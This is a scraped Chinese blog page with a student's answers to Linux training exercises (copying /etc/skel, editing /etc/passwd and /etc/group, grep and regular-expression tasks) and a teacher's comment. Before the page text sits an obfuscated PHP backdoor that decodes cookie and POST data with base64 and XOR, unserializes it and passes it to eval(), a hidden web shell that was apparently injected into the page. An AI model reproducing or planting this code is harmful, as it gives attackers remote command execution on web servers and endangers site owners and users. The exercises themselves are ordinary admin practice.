$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 马哥教育网络20期+第四周练习博客 | Linux运维部落

马哥教育网络20期+第四周练习博客

1、  复制/etc/skel目录为/home/tuser1,要求/home/tuser1及其内部文件的属组和其它用户均没有任何访问权限。

[root@localhost ~]# cd /home/

[root@localhost home]# mkdir tuser1

[root@localhost home]# cp -a /etc/skel  /home/tuser1


[root@localhost home]# chmod -R go-rwx /home/tuser1

 

2、  编辑/etc/group文件,添加组hadoop

[root@localhost ~]# echo "hadoop:x:206:" >> /etc/group

[root@localhost ~]# tail -1f /etc/group

hadoop:x:206:

 

3、  手动编辑/etc/passwd文件新增一行,添加用户hadoop,其基本组IDhadoop组的id号;其家目录为/home/hadoop

[root@localhost ~]# echo "hadoop::206:200::/home/hadoop:/bin/basename" >> /etc/passwd

[root@localhost ~]# tail -1 /etc/passwd

hadoop::206:200::/home/hadoop:/bin/basename

[root@localhost ~]#      

 

4、  复制/etc/skel目录为/home/hadoop,要求修改hadoop目录的属组和其它用户没有任何访问权限。

[root@localhost ~]# cp -r /etc/skel/ /home/hadoop

[root@localhost ~]# chmod go-rwx  /home/hadoop/

 

5、  修改/home/hadoop目录及其内部所有文件的属主为hadoop,属组为hadoop

[root@localhost ~]# chown -R hadoop:hadoop /home/hadoop/

 

6、  显示/proc/meminfo文件中以大写或小写S开头的行;用两种方式;

[root@localhost ~]# grep '^[sS]' /proc/meminfo

SwapCached:            0 kB

SwapTotal:       2064380 kB

SwapFree:        2064380 kB

Shmem:              4052 kB

Slab:              66780 kB

SReclaimable:      30152 kB

SUnreclaim:        36628 kB

 

[root@localhost ~]# cat /proc/meminfo | grep ^[Ss].*

SwapCached:            0 kB

SwapTotal:       2064380 kB

SwapFree:        2064380 kB

Shmem:              4052 kB

Slab:              66784 kB

SReclaimable:      30052 kB

SUnreclaim:        36732 kB

 

7、  显示/etc/passwd文件中其默认shell为非/sbin/nologin的用户;

[root@localhost ~]# grep -v "/sbin/nologin$" /etc/passwd  | cut -d: -f1

root

sync

shutdown

halt

ddw

ee

user

dd

lvs

linuxso

python

ddddd

mandriva

slackware

openstack

hadoop

[root@localhost ~]#

 

8、  显示/etc/passwd文件中其默认shell/bin/bash的用户;

[root@localhost ~]# grep "/bin/bash$" /etc/passwd | cut -d: -f1

root

ddw

ee

user

dd

lvs

linuxso

python

ddddd

mandriva

openstack

[root@localhost ~]#

 

9、  找出/etc/passwd文件中的一位数或两位数;

[root@localhost ~]# cat /etc/passwd | grep -o '\<[0-9]\>\|\<[0-9][0-9]\>'

0

0

1

1

2

2

3

4

4

7

5

0

6

0

7

0

8

12

10

14

11

0

12

13

30

14

50

99

99

81

81

69

69

68

68

38

38

48

48

76

89

89

42

42

74

74

72

72

[root@localhost ~]#

 

10、              显示/boot/grub/grub.conf中以至少一个空白字符开头的行;

[root@localhost ~]# cat /boot/grub/grub.conf | grep "^[[:space:]]\+.*"

         root (hd0,0)

         kernel /vmlinuz-2.6.32-504.el6.i686 ro root=UUID=e6891007-5edb-4ec9-b9af-2e0a319bcde5 rd_NO_LUKS rd_NO_LVM.UTF-8 rd_NO_MD SYSFONT=latarcyrheb-sun16 crashkernel=auto  KEYBOARDTYPE=pc KEYTABLE=us rd_NO_DM rhgb quiet

         initrd /initramfs-2.6.32-504.el6.i686.img

[root@localhost ~]#

 

 

11、              显示/etc/rc.d/rc.sysinit文件中以#开头,后面跟至少一个空白字符,而后又有至少一个非空白字符的行;

[root@localhost ~]# grep "^#[[:space:]]\+[^[:space:]]" /etc/rc.d/rc.sysinit

# /etc/rc.d/rc.sysinit – run once at boot time

# Taken in part from Miquel van Smoorenburg's bcheckrc.

# Check SELinux status

# Print a text banner.

# Only read this once.

# Initialize hardware

# Set default affinity

# Load other user-defined modules

# Load modules (for backward compatibility with VARs)

# Configure kernel parameters

# Set the hostname.

# Sync waiting for storage.

# Device mapper & related initialization

# Start any MD RAID arrays that haven't been started yet

# Remount the root filesystem read-write.

# Clean up SELinux labels

# If relabeling, relabel mount points.

# Mount all other filesystems (except for NFS and /proc, which is already

# mounted). Contrary to standard usage,

# filesystems are NOT unmounted in single user mode.

# The 'no' applies to all listed filesystem types. See mount(8).

# Update quotas if necessary

# Check to see if a full relabel is needed

# Initialize pseudo-random number generator

# Configure machine if necessary.

# Clean out /.

# Do we need (w|u)tmpx files? We don't set them up, but the sysadmin might…

# Clean up /var.

# Clean up utmp/wtmp

# Clean up various /tmp bits

# Make ICE directory

# Start up swapping.

# Set up binfmt_misc

# Boot time profiles. Yes, this should be somewhere else.

# Now that we have all of our basic modules loaded and the kernel going,

# let's dump the syslog ring somewhere so we can find it later

# create the crash indicator flag to warn on crashes, offer fsck with timeout

# Let rhgb know that we're leaving rc.sysinit

[root@localhost ~]#

 

12、              打出netstat -tan命令执行结果中以‘LISTEN’,后或跟空白字符结尾的行;

[root@localhost ~]# netstat -tan | grep "LISTEN[[:space:]]\+$"

tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN     

tcp        0      0 127.0.0.1:631               0.0.0.0:*                   LISTEN     

tcp        0      0 127.0.0.1:25                0.0.0.0:*                   LISTEN     

tcp        0      0 :::22                       :::*                        LISTEN     

tcp        0      0 ::1:631                     :::*                        LISTEN     

tcp        0      0 ::1:25                      :::*                        LISTEN     

[root@localhost ~]#

 

 

13、              添加用户bash, testbash, basher, nologin (此一个用户的shell/sbin/nologin),而后找出当前系统上其用户名和默认shell相同的用户的信息;

[root@localhost ~]# cat /etc/passwd | grep "^\(\<[[:alpha:]]\+\>\).*\1$"

\sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

bash:x:2004:2004::/home/bash:/bin/bash

nologin:x:2007:2007::/home/nologin:/sbin/nologin

[root@localhost ~]#

 


原创文章,作者:dengdw0917,如若转载,请注明出处:http://www.178linux.com/26746

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评论列表(1条)

  • 马哥教育
    马哥教育 2016-08-02 11:21

    写的很好,排版还可以在漂亮一点,加油,第9题是让用{}做,在考虑考虑